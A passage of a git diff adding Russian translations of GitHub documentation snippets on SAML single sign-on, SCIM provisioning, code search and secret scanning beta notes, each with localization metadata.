организации") снятым. diff --git a/translations/ru-RU/data/reusables/saml/use-classic-ui.md b/translations/ru-RU/data/reusables/saml/use-classic-ui.md new file mode 100644 index 000000000000..5f8c866365b5 --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/use-classic-ui.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 6ef981f2197e9d624d03de73bb46092df1318432 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145134531" +--- +В Okta необходимо использовать параметр "Classic UI" (Классический пользовательский интерфейс). Дополнительные сведения см. в записи [Organized Navigation](https://developer.okta.com/blog/2017/09/25/all-new-developer-console#new-look--feel) (Упорядоченная навигация) в блоге Okta. + +![Выбор классического пользовательского интерфейса в средстве выбора стиля пользовательского интерфейса Okta над панелью мониторинга](/assets/images/help/saml/okta-classic-ui.png) diff --git a/translations/ru-RU/data/reusables/saml/view-authorized-credentials.md b/translations/ru-RU/data/reusables/saml/view-authorized-credentials.md new file mode 100644 index 000000000000..aa608fb2089e --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/view-authorized-credentials.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: f070d519ad21c2ce096df1ea348ecbf7d1f79b18 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145134840" +--- +1. В разделе "Authorized credentials" (Авторизованные учетные данные) просмотрите авторизованные учетные данные для участника. diff --git a/translations/ru-RU/data/reusables/saml/view-saml-sessions.md b/translations/ru-RU/data/reusables/saml/view-saml-sessions.md new file mode 100644 index 000000000000..23ad01e3e586 --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/view-saml-sessions.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: fc57b5e34f745e7f32e9d031f2bb960bacb57603 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145134528" +--- +1. В разделе "Active SAML sessions" (Активные сеансы SAML) просмотрите активные сеансы SAML для участника. diff --git a/translations/ru-RU/data/reusables/saml/view-sso-identity.md b/translations/ru-RU/data/reusables/saml/view-sso-identity.md new file mode 100644 index 000000000000..4705e97c3138 --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/view-sso-identity.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: a0a695a7f10dea68bf761c7309fa54d4a3ca0fcc +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145134837" +--- +1. В разделе "Linked SSO identity" (Связанное удостоверение единого входа) просмотрите связанное удостоверение единого входа для участника. diff --git a/translations/ru-RU/data/reusables/saml/when-you-enforce.md b/translations/ru-RU/data/reusables/saml/when-you-enforce.md new file mode 100644 index 000000000000..151873544792 --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/when-you-enforce.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 643af33b52c873ab0eb4dbd7311b2ee0fbfa3ec8 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145134513" +--- +При принудительном использовании единого входа SAML все члены организации должны пройти проверку подлинности с помощью поставщика удостоверений для доступа к ресурсам организации. diff --git a/translations/ru-RU/data/reusables/saml/you-must-periodically-authenticate.md b/translations/ru-RU/data/reusables/saml/you-must-periodically-authenticate.md new file mode 100644 index 000000000000..7d345990f4f9 --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/you-must-periodically-authenticate.md @@ -0,0 +1 @@ +You must periodically authenticate with your SAML IdP to authenticate and gain access to {% ifversion fpt or ghec %}the organization's resources on {% data variables.product.prodname_dotcom_the_website %}{% elsif ghae %}{% data variables.location.product_location %}{% endif %}. The duration of this login period is specified by your IdP and is generally 24 hours. This periodic login requirement limits the length of access and requires you to re-identify yourself to continue. {% ifversion fpt or ghec %}You can view and manage your active SAML sessions in your security settings. For more information, see "[Viewing and managing your active SAML sessions](/articles/viewing-and-managing-your-active-saml-sessions)."{% endif %} diff --git a/translations/ru-RU/data/reusables/scim/after-you-configure-saml.md b/translations/ru-RU/data/reusables/scim/after-you-configure-saml.md new file mode 100644 index 000000000000..a571c72a831e --- /dev/null +++ b/translations/ru-RU/data/reusables/scim/after-you-configure-saml.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: cfe1441d8807b616dae5499c5f1fb01316364c5b +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145134510" +--- +По умолчанию, когда вы назначаете приложение или отменяете его назначение, ваш поставщик удостоверений не взаимодействует с {% data variables.product.product_name %} автоматически. {% data variables.product.product_name %} {% ifversion fpt or ghec %}подготавливает доступ к вашим ресурсам в {% else %}создает учетную запись пользователя {% endif %}с помощью JIT-подготовки SAML при первом переходе любого пользователя к {% ifversion fpt or ghec %}вашим ресурсам в {% endif %} {% data variables.product.product_name %} и выполняет вход, используя проверку подлинности через вашего поставщика удостоверений. Вам может потребоваться вручную уведомлять пользователей о предоставлении доступа к {% data variables.product.product_name %} и необходимо вручную {% ifversion fpt or ghec %}отозвать доступ {% else %}деактивировать учетную запись пользователя в {% endif %}{% data variables.product.product_name %} во время отключения. Можно использовать SCIM для {% ifversion ghec %}подготовки или отзыва{% elsif ghae %}создания или приостановки{% endif %} {% ifversion fpt or ghec %}доступа к организациям, принадлежащим предприятию, на {% data variables.product.prodname_dotcom_the_website %} {% else %}учетных записей пользователей и доступа к {% data variables.product.product_name %} {% endif %} в автоматическом режиме, когда вы задаете или отменяете назначение приложения на своем поставщике удостоверений. diff --git a/translations/ru-RU/data/reusables/scim/changes-should-come-from-idp.md b/translations/ru-RU/data/reusables/scim/changes-should-come-from-idp.md new file mode 100644 index 000000000000..1808870ec48b --- /dev/null +++ b/translations/ru-RU/data/reusables/scim/changes-should-come-from-idp.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: dbc37853f288c92b80e2858c0e94b9a07ca9b60f +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145134831" +--- +Если для вашей организации реализована подготовка SCIM, любые изменения членства пользователя в организации должны активироваться из поставщика удостоверений. Если пользователь приглашен в организацию вручную, а не с помощью существующей интеграции SCIM, учетная запись этого пользователя может быть неправильно связана с его удостоверением SCIM. В будущем это может препятствовать отзыву данной учетной записи пользователя через SCIM. Если пользователь удаляется вручную, а не с помощью существующей интеграции SCIM, устаревшее связанное удостоверение останется, что может привести к проблемам, когда пользователю потребуется повторно присоединиться к данной организации. diff --git a/translations/ru-RU/data/reusables/scim/dedicated-configuration-account.md b/translations/ru-RU/data/reusables/scim/dedicated-configuration-account.md new file mode 100644 index 000000000000..5ecff59e1062 --- /dev/null +++ b/translations/ru-RU/data/reusables/scim/dedicated-configuration-account.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 49888e7031e048c77d405b1e65d9e06510e3c789 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147063413" +--- +Чтобы использовать SCIM в организации, необходимо применять стороннее приложение {% data variables.product.prodname_oauth_app %}. Приложение {% data variables.product.prodname_oauth_app %} должно быть авторизовано и впоследствии действует от имени конкретного пользователя {% data variables.product.prodname_dotcom %}. Если пользователь, который в последний раз авторизовал {% data variables.product.prodname_oauth_app %}, выходит или удаляется из организации, SCIM перестанет работать. Чтобы избежать этой проблемы, рекомендуется создать выделенную учетную запись пользователя для настройки SCIM. Эта учетная запись пользователя должна быть владельцем организации и будет использовать лицензию. diff --git a/translations/ru-RU/data/reusables/scim/emu-scim-rate-limit.md b/translations/ru-RU/data/reusables/scim/emu-scim-rate-limit.md new file mode 100644 index 000000000000..db7fb7015ca9 --- /dev/null +++ b/translations/ru-RU/data/reusables/scim/emu-scim-rate-limit.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: ebe9a25b8ca45009aa7628cc732e871990edf233 +ms.sourcegitcommit: 505b84dc7227e8a5d518a71eb5c7eaa65b38ce0e +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879050" +--- +{% note %} + +**Примечание**. Чтобы избежать превышения ограничения скорости для {% data variables.product.product_name %}, не назначайте приложению поставщика удостоверений более 1000 пользователей в час. Если вы используете группы для назначения пользователей приложению поставщика удостоверений, добавляйте не более 100 пользователей в каждую из групп в час. При превышении этих пороговых значений попытки подготовки пользователей могут завершиться ошибкой, связанной с ограничением скорости. + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/scim/enterprise-account-scim.md b/translations/ru-RU/data/reusables/scim/enterprise-account-scim.md new file mode 100644 index 000000000000..ac08a28b7d66 --- /dev/null +++ b/translations/ru-RU/data/reusables/scim/enterprise-account-scim.md @@ -0,0 +1 @@ +You cannot use this implementation of SCIM with an enterprise account or with an {% data variables.enterprise.prodname_emu_org %}. If your enterprise is enabled for {% data variables.product.prodname_emus %}, you must use a different implementation of SCIM. Otherwise, SCIM is not available at the enterprise level. For more information, see "[Configuring SCIM provisioning for {% data variables.product.prodname_emus %}](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/configuring-scim-provisioning-for-enterprise-managed-users)." diff --git a/translations/ru-RU/data/reusables/scim/ghes-beta-note.md b/translations/ru-RU/data/reusables/scim/ghes-beta-note.md new file mode 100644 index 000000000000..e991d89f4d5a --- /dev/null +++ b/translations/ru-RU/data/reusables/scim/ghes-beta-note.md @@ -0,0 +1,15 @@ +{% ifversion scim-for-ghes %} + +{% note %} + +**Note:** SCIM for {% data variables.product.product_name %} is currently in private beta and is subject to change. For access to the beta, contact your account manager on {% data variables.contact.contact_enterprise_sales %}. + +{% endnote %} + +{% warning %} + +**Warning:** The beta is exclusively for testing and feedback, and no support is available. {% data variables.product.company_short %} recommends testing with a staging instance. For more information, see "[Setting up a staging instance](/admin/installation/setting-up-a-github-enterprise-server-instance/setting-up-a-staging-instance)." + +{% endwarning %} + +{% endif %} \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/scim/ghes-scim-beta-note.md b/translations/ru-RU/data/reusables/scim/ghes-scim-beta-note.md new file mode 100644 index 000000000000..232c4d07c734 --- /dev/null +++ b/translations/ru-RU/data/reusables/scim/ghes-scim-beta-note.md @@ -0,0 +1,17 @@ +--- +ms.openlocfilehash: 85452f71d1176e05ad7681c25fe374d5befc5ad1 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109399" +--- +{% ifversion scim-for-ghes %} + +{% note %} + +**Примечание:** Поддержка SCIM для следующих поставщиков удостоверений в настоящее время находится в закрытой бета-версии и может быть изменена. + +{% endnote %} + +{% endif %} \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/scim/ghes-scim-idp-table.md b/translations/ru-RU/data/reusables/scim/ghes-scim-idp-table.md new file mode 100644 index 000000000000..46bdf27ad2e0 --- /dev/null +++ b/translations/ru-RU/data/reusables/scim/ghes-scim-idp-table.md @@ -0,0 +1,16 @@ +--- +ms.openlocfilehash: ef572fed8832a5c236badbd14c6a3921ea49c5e9 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109392" +--- +{% ifversion scim-for-ghes %} + +IdP | SAML | Подготовка пользователей | Сопоставление команд| +--- | --- | ---------------- | --------- | +[Azure Active Directory (Azure AD)](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad) | {% octicon "check-circle-fill" aria-label="The check icon" %} | {% octicon "check-circle-fill" aria-label="The check icon" %}| {% octicon "check-circle-fill" aria-label="The check icon" %} | +[Okta](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-okta) | {% octicon "check-circle-fill" aria-label="The check icon" %} | {% octicon "check-circle-fill" aria-label="The check icon" %} | {% octicon "check-circle-fill" aria-label= "The check icon" %} | + +{% endif %} \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/scim/nameid-and-username-must-match.md b/translations/ru-RU/data/reusables/scim/nameid-and-username-must-match.md new file mode 100644 index 000000000000..5db88138a6d8 --- /dev/null +++ b/translations/ru-RU/data/reusables/scim/nameid-and-username-must-match.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: ffa400a45f4c54f9d707652cde2b1f667f7de13d +ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145134825" +--- +Для каждого пользователя поставщик удостоверений SAML и клиент SCIM должны использовать соответствующие значения `NameID` и `userName`. Это позволяет пользователю выполнять проверку подлинности с помощью SAML, чтобы установить связь с подготовленным удостоверением SCIM. diff --git a/translations/ru-RU/data/reusables/scim/supported-idps.md b/translations/ru-RU/data/reusables/scim/supported-idps.md new file mode 100644 index 000000000000..1243cee7b569 --- /dev/null +++ b/translations/ru-RU/data/reusables/scim/supported-idps.md @@ -0,0 +1,6 @@ +The following IdPs can provision or deprovision user accounts on {% data variables.location.product_location %} using SCIM. + +{% ifversion ghae %} +- Azure AD +- Okta (currently in beta) +{% endif %} diff --git a/translations/ru-RU/data/reusables/search/classic-search-code-search-note.md b/translations/ru-RU/data/reusables/search/classic-search-code-search-note.md new file mode 100644 index 000000000000..7a96ac952733 --- /dev/null +++ b/translations/ru-RU/data/reusables/search/classic-search-code-search-note.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 838274ec284192127269b9f56d68452cf2962133 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148159794" +--- +Эта статья относится к классическому интерфейсу поиска GitHub. Если вы участвуете в новом поиске кода и представлении кода бета-версии и включили новые функции, синтаксис для поиска кода и интерфейс поиска GitHub.com будут отличаться. Однако синтаксис поиска для типов поиска, не относящихся к коду, останется прежним. + +Сведения о новом поиске кода и представлении кода, которые в настоящее время находятся в ограниченной общедоступной бета-версии, см. в разделе [Сведения о поиске кода GitHub (бета-версия)](/search-github/github-code-search/about-github-code-search)". Чтобы опробовать новый поиск кода и бета-версию представления кода, присоединитесь к [списку ожидания](https://github.com/features/code-search-code-view/signup). \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/search/code-search-code-view-beta-note.md b/translations/ru-RU/data/reusables/search/code-search-code-view-beta-note.md new file mode 100644 index 000000000000..cbb3c04d9011 --- /dev/null +++ b/translations/ru-RU/data/reusables/search/code-search-code-view-beta-note.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 92a49c10ee87f1b8b076946d8b638144d7f24c5f +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148160018" +--- +Новый поиск кода и представление кода доступны в ограниченной общедоступной бета-версии. Чтобы присоединиться к списку ожидания для доступа, посетите страницу https://github.com/features/code-search-code-view/signup. diff --git a/translations/ru-RU/data/reusables/search/code-search-link.md b/translations/ru-RU/data/reusables/search/code-search-link.md new file mode 100644 index 000000000000..9f4f98c6f3b7 --- /dev/null +++ b/translations/ru-RU/data/reusables/search/code-search-link.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 47117b97072b09f605c68d17be3a5fc350053862 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148160117" +--- +Дополнительные сведения о новом поиске кода см. в разделе [Сведения о поиске кода GitHub (бета-версия)](/search-github/github-code-search/about-github-code-search)". diff --git a/translations/ru-RU/data/reusables/search/code-view-link.md b/translations/ru-RU/data/reusables/search/code-view-link.md new file mode 100644 index 000000000000..8a9d947579b0 --- /dev/null +++ b/translations/ru-RU/data/reusables/search/code-view-link.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: fc1fa9b6a29ae3e58d822d9379ba004a0196b054 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148160123" +--- +Дополнительные сведения о новом представлении кода см. в разделе [Навигация по файлам с помощью нового представления кода (бета-версия)](/repositories/working-with-files/managing-files/navigating-files-with-the-new-code-view)". \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/search/date_gt_lt.md b/translations/ru-RU/data/reusables/search/date_gt_lt.md new file mode 100644 index 000000000000..ca6429a1ea8b --- /dev/null +++ b/translations/ru-RU/data/reusables/search/date_gt_lt.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: afd4c9ccc2df5ce0eb2a05a2fbae43ed75f9144b +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147878865" +--- +При поиске по дате можно использовать квалификаторы "больше", "меньше" и "диапазон" для дополнительной фильтрации результатов. Для получения дополнительной информации см. раздел [Основные сведения о различных ролях](/github/searching-for-information-on-github/understanding-the-search-syntax). diff --git a/translations/ru-RU/data/reusables/search/enabling-and-disabling-code-search-and-view-beta.md b/translations/ru-RU/data/reusables/search/enabling-and-disabling-code-search-and-view-beta.md new file mode 100644 index 000000000000..d53e9a4651a9 --- /dev/null +++ b/translations/ru-RU/data/reusables/search/enabling-and-disabling-code-search-and-view-beta.md @@ -0,0 +1,14 @@ +--- +ms.openlocfilehash: 56c01942ad1ac3496b9875a039a091676e3fc51e +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148160124" +--- +Вы получите сообщение электронной почты, когда вы будете приняты из списка ожидания для присоединения к бета-версии. После получения доступа новый поиск кода и бета-версия просмотра кода будут автоматически включены в вашей учетной записи. + +Вы можете в любое время отключить или включить бета-версию на {% data variables.product.prodname_dotcom_the_website %}. Обратите внимание, что этот параметр применяется как к поиску кода, так и к представлению кода. + +{% data reusables.feature-preview.feature-preview-setting %} +1. Справа от "Новый поиск кода и представление кода (бета-версия)" щелкните **Включить** или **Отключить**. \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/search/non-code-search-explanation.md b/translations/ru-RU/data/reusables/search/non-code-search-explanation.md new file mode 100644 index 000000000000..766488698c6a --- /dev/null +++ b/translations/ru-RU/data/reusables/search/non-code-search-explanation.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: c1ebccb91c4ab8257429c582ab6c42e6583f823b +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148160160" +--- +Обратите внимание, что синтаксис и квалификаторы для поиска содержимого, отличного от кода, например проблем, пользователей и обсуждений, работают так же, как и раньше. Дополнительные сведения о поиске, отличном от кода, см. в разделах [Сведения о поиске в GitHub](/search-github/getting-started-with-searching-on-github/about-searching-on-github) и [Поиск в GitHub](/search-github/searching-on-github). \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/search/requested_reviews_search.md b/translations/ru-RU/data/reusables/search/requested_reviews_search.md new file mode 100644 index 000000000000..9b366a5ae9ba --- /dev/null +++ b/translations/ru-RU/data/reusables/search/requested_reviews_search.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: ea268fa024cdb19ae9b31fc66556881d8e2ec30c +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147884950" +--- +С помощью квалификатора поиска `review-requested:[USERNAME]` или `team-review-requested:[TEAMNAME]` вы можете найти запрос на вытягивание с запросом на проверку, адресованным вам или команде, участником которой вы являетесь. Дополнительные сведения см. в разделе [Поиск проблем и запросов на вытягивание](/articles/searching-issues-and-pull-requests). diff --git a/translations/ru-RU/data/reusables/search/requested_reviews_search_tip.md b/translations/ru-RU/data/reusables/search/requested_reviews_search_tip.md new file mode 100644 index 000000000000..931b00095f5e --- /dev/null +++ b/translations/ru-RU/data/reusables/search/requested_reviews_search_tip.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 4cec58e6fe66ce970d267a3150423afc933fbc12 +ms.sourcegitcommit: 505b84dc7227e8a5d518a71eb5c7eaa65b38ce0e +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879045" +--- +{% tip %} + +**Совет**. С помощью квалификатора поиска `review-requested:[USERNAME]` или `team-review-requested:[TEAMNAME]` вы можете найти запрос на вытягивание с запросом на проверку, адресованным вам или команде, участником которой вы являетесь. Дополнительные сведения см. в разделе [Поиск проблем и запросов на вытягивание](/articles/searching-issues-and-pull-requests). + +{% endtip %} diff --git a/translations/ru-RU/data/reusables/search/required_login.md b/translations/ru-RU/data/reusables/search/required_login.md new file mode 100644 index 000000000000..aa179c185f0d --- /dev/null +++ b/translations/ru-RU/data/reusables/search/required_login.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 09e56c44f24608a5c08afb07c6d3835a966d01e3 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145134486" +--- +Для поиска кода во всех общедоступных репозиториях необходимо войти в личную учетную запись в {% data variables.product.product_name %}. diff --git a/translations/ru-RU/data/reusables/search/search_issues_and_pull_requests_shortcut.md b/translations/ru-RU/data/reusables/search/search_issues_and_pull_requests_shortcut.md new file mode 100644 index 000000000000..d3c6d0c893a0 --- /dev/null +++ b/translations/ru-RU/data/reusables/search/search_issues_and_pull_requests_shortcut.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 2e825a8aff0925393161d136c962082a5807a9eb +ms.sourcegitcommit: 9a7b3a9ccb983af5df2cd94da7fecf7a8237529b +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147878405" +--- +Можно установить курсор на строке поиска над проблемой или списком запросов на вытягивание с помощью сочетания клавиш. Дополнительные сведения см. в разделе [Сочетания клавиш](/articles/keyboard-shortcuts/#issue-and-pull-request-lists). diff --git a/translations/ru-RU/data/reusables/search/syntax_tips.md b/translations/ru-RU/data/reusables/search/syntax_tips.md new file mode 100644 index 000000000000..8eedc169a79a --- /dev/null +++ b/translations/ru-RU/data/reusables/search/syntax_tips.md @@ -0,0 +1,8 @@ +{% tip %} + +**Tips:**{% ifversion ghes or ghae %} + - This article contains links to example searches on the {% data variables.product.prodname_dotcom_the_website %} website, but you can use the same search filters with {% data variables.product.product_name %}. In the linked example searches, replace `github.com` with the hostname for {% data variables.location.product_location %}.{% endif %} + - For a list of search syntaxes that you can add to any search qualifier to further improve your results, see "[Understanding the search syntax](/articles/understanding-the-search-syntax)". + - Use quotations around multi-word search terms. For example, if you want to search for issues with the label "In progress," you'd search for `label:"in progress"`. Search is not case sensitive. + +{% endtip %} diff --git a/translations/ru-RU/data/reusables/search/you-can-search-globally.md b/translations/ru-RU/data/reusables/search/you-can-search-globally.md new file mode 100644 index 000000000000..969d55c48ba9 --- /dev/null +++ b/translations/ru-RU/data/reusables/search/you-can-search-globally.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 477a936377c82dfe9aeb4539d820aa44fee242e7 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145134813" +--- +Вы можете выполнять глобальный поиск по всем {% data variables.product.product_name %}, или ограничить поиск определенным репозиторием или организацией. diff --git a/translations/ru-RU/data/reusables/secret-scanning/api-beta.md b/translations/ru-RU/data/reusables/secret-scanning/api-beta.md new file mode 100644 index 000000000000..5cc6326b9a2a --- /dev/null +++ b/translations/ru-RU/data/reusables/secret-scanning/api-beta.md @@ -0,0 +1,17 @@ +--- +ms.openlocfilehash: 09ebb9f33daaa2de46afdf61cf5f65398219b0f9 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145134477" +--- +{% ifversion ghes or ghae %} + +{% note %} + +**Примечание.** API {% data variables.product.prodname_secret_scanning %} в настоящее время доступен в виде бета-версии и может быть изменен. + +{% endnote %} + +{% endif %} diff --git a/translations/ru-RU/data/reusables/secret-scanning/beta-dry-runs.md b/translations/ru-RU/data/reusables/secret-scanning/beta-dry-runs.md new file mode 100644 index 000000000000..347172a6822d --- /dev/null +++ b/translations/ru-RU/data/reusables/secret-scanning/beta-dry-runs.md @@ -0,0 +1,14 @@ +--- +ms.openlocfilehash: 071cfdca3aa8af125dbb7553f6f734abd70cd113 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145134780" +--- + +{% note %} + +**Примечание.** Функция пробного выполнения в настоящее время доступна в виде бета-версии и может быть изменена. + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/secret-scanning/beta.md b/translations/ru-RU/data/reusables/secret-scanning/beta.md new file mode 100644 index 000000000000..9afd523bd3f4 --- /dev/null +++ b/translations/ru-RU/data/reusables/secret-scanning/beta.md @@ -0,0 +1,21 @@ +--- +ms.openlocfilehash: 6651596e9f4ee39f1263196731ff03079c33598c +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145134474" +--- +{% ifversion ghae %} + + + +{% elsif ghae %} + +{% note %} + +**Примечание.** {% data variables.product.prodname_secret_scanning_caps %} для репозиториев, принадлежащих организации, в настоящее время находится в бета-версии и может быть изменен. + +{% endnote %} + +{% endif %} diff --git a/translations/ru-RU/data/reusables/secret-scanning/enterprise-enable-secret-scanning.md b/translations/ru-RU/data/reusables/secret-scanning/enterprise-enable-secret-scanning.md new file mode 100644 index 000000000000..e4513c6c987d --- /dev/null +++ b/translations/ru-RU/data/reusables/secret-scanning/enterprise-enable-secret-scanning.md @@ -0,0 +1,10 @@ +{% ifversion ghes %} + +{% note %} + +**Note:** Your site administrator must enable {% data variables.product.prodname_secret_scanning %} for {% data variables.location.product_location %} before you can use this feature. For more information, see "[Configuring {% data variables.product.prodname_secret_scanning %} for your appliance](/enterprise/admin/configuration/configuring-secret-scanning-for-your-appliance)." +{% ifversion security-feature-enablement-policies %} You may not be able to enable or disable {% data variables.product.prodname_secret_scanning %}, if an enterprise owner has set a policy at the enterprise level. For more information, see "[Enforcing policies for code security and analysis for your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-code-security-and-analysis-for-your-enterprise)."{% endif %} + +{% endnote %} + +{% endif %} diff --git a/translations/ru-RU/data/reusables/secret-scanning/fpt-GHAS-scans.md b/translations/ru-RU/data/reusables/secret-scanning/fpt-GHAS-scans.md new file mode 100644 index 000000000000..6eae825a8171 --- /dev/null +++ b/translations/ru-RU/data/reusables/secret-scanning/fpt-GHAS-scans.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: b1c3a2ecad5e28d40cc788dc8e37f718387c809c +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145134471" +--- +**Примечание.** Организации, использующие {% data variables.product.prodname_ghe_cloud %} с {% data variables.product.prodname_GH_advanced_security %}, могут также включить {% data variables.product.prodname_secret_scanning_GHAS %} в любых принадлежащих им репозиториях, в том числе в частных. Дополнительные сведения см. в [документации по {% data variables.product.prodname_ghe_cloud %}](/enterprise-cloud@latest/code-security/secret-security/about-secret-scanning#about-secret-scanning-for-advanced-security). diff --git a/translations/ru-RU/data/reusables/secret-scanning/partner-program-link.md b/translations/ru-RU/data/reusables/secret-scanning/partner-program-link.md new file mode 100644 index 000000000000..61e47fed960d --- /dev/null +++ b/translations/ru-RU/data/reusables/secret-scanning/partner-program-link.md @@ -0,0 +1,5 @@ +{% ifversion fpt or ghec %} +To find out about our partner program, see "[{% data variables.product.prodname_secret_scanning_caps %} partner program](/developers/overview/secret-scanning-partner-program)." +{% else %} +To find out about our partner program, see "[{% data 